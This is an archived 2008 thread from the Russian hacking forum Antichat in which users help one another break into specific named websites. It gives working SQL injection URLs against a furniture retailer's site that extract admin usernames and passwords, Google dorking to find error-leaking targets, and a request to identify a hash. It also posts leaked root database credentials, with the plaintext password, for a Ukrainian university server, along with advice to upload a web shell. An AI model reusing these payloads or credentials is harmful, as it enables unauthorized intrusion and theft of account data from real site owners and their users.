Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
13.12.2008, 15:37
|
|
Members of Antichat - Level 5
Регистрация: 09.07.2006
Сообщений: 553
Провел на форуме:
7561206
Репутация:
1861
|
|
можно через гугль ошибки поискать...
site:jertva.com Warning
если гугл ошибок не помнит, то идем на
Код:
madnet.name/tools/madss/
вбиваем имя сайта и смотрим, хостятся ли рядом какие-либо сайты... если да, то поочерёдно вбиваем в гугль
site:sait_ryadom_s_jertvoi.com Warning
P.S
кроме Warning, можно и по другим кеям поискать, Error, "failed to open stream"...
Последний раз редактировалось Iceangel_; 13.12.2008 в 15:40..
|
|
|
13.12.2008, 15:51
|
|
Banned
Регистрация: 20.06.2008
Сообщений: 296
Провел на форуме:
1385078
Репутация:
126
|
|
Код:
http://asm-mebel.ru/index.php?page=catalog1&id=-1+union+select+column_name+from+information_schema.columns+where+table_name=0x61736d5f61646d696e+limit+2,1--
почему сам учётки не высвечиваются? |
|
|
|
13.12.2008, 15:58
|
|
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
Провел на форуме:
11338585
Репутация:
441
|
|
Сообщение от F4R
Код:
http://asm-mebel.ru/index.php?page=catalog1&id=-1+union+select+column_name+from+information_schema.columns+where+table_name=0x61736d5f61646d696e+limit+2,1--
почему сам учётки не высвечиваются? Ну наверное чтобы узнать учётки надо вот такой запрос сделать
Код:
http://asm-mebel.ru/index.php?page=catalog1&id=-1+union+select+concat_ws(0x40,name,password)+from+asm_admin+limit+0,1--
А то что ты выше написал-этим мы всего лишь узнаем какие колонки в таблице asm_admin
|
|
|
|
13.12.2008, 16:19
|
|
Banned
Регистрация: 20.06.2008
Сообщений: 296
Провел на форуме:
1385078
Репутация:
126
|
|
Отлично) спс огромное!
подскажите что ещё за хэш ?
5096c350535026dc
|
|
|
|
13.12.2008, 16:51
|
|
Познающий
Регистрация: 12.12.2008
Сообщений: 31
Провел на форуме:
141806
Репутация:
68
|
|
Сообщение от Zitt
эти пароли хоаняться в файле htpasswd ....
Далеко не факт, просто вероятно пароль не хранится в бд... А находиться он может где угодно. Я встречал, даже когда авторизация с данными для входа была вшита в сам скрипт(запароленый), к которому мы обращаемся
|
|
|
|
13.12.2008, 17:19
|
|
Участник форума
Регистрация: 07.06.2006
Сообщений: 146
Провел на форуме:
1652093
Репутация:
490
|
|
phpMyAdmin редиректит
Есть сайт bridge.tane.edu.ua, есть пароль на рута
Код:
$DATABASENAME = "stud_test";
$DATABASESERVER = "localhost";
$DATABASEUSER = "root";
$DATABASEPASS = "steppenW";
Есть майадмин: bridge.tane.edu.ua/phpmyadmin/
Сервер запущен на 192.168.101.18, и постоянно туда редиректит, если заходить через майадмин.
Как нормально поюзать багу? |
|
|
|
13.12.2008, 17:42
|
|
Познающий
Регистрация: 18.04.2008
Сообщений: 62
Провел на форуме:
279406
Репутация:
37
|
|
Подскажите, каким образом можно просмотреть имена таблиц и колонок при SQL-инъекции другой базы данных, находящейся на этом же аккаунте?
|
|
|
|
13.12.2008, 17:44
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
Thrasher88
column_name+from+information_schema.columns+where+ table_schema='база'+and+table_name='табли ца'
|
|
|
|
13.12.2008, 17:45
|
|
Участник форума
Регистрация: 15.08.2008
Сообщений: 167
Провел на форуме:
3009843
Репутация:
204
|
|
Он не редиректит просто либо серв мускула на другом серваке,либо на этом же,тогда надо лить шелл.
|
|
|
|
13.12.2008, 17:46
|
|
Banned
Регистрация: 25.12.2006
Сообщений: 179
Провел на форуме:
2337678
Репутация:
354
|
|
Goudini
Да всё нормально юзается. Заходит в майадмин с этими данными норм, как root@sectorgaza =)
Что конкретно тебе нужно?
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
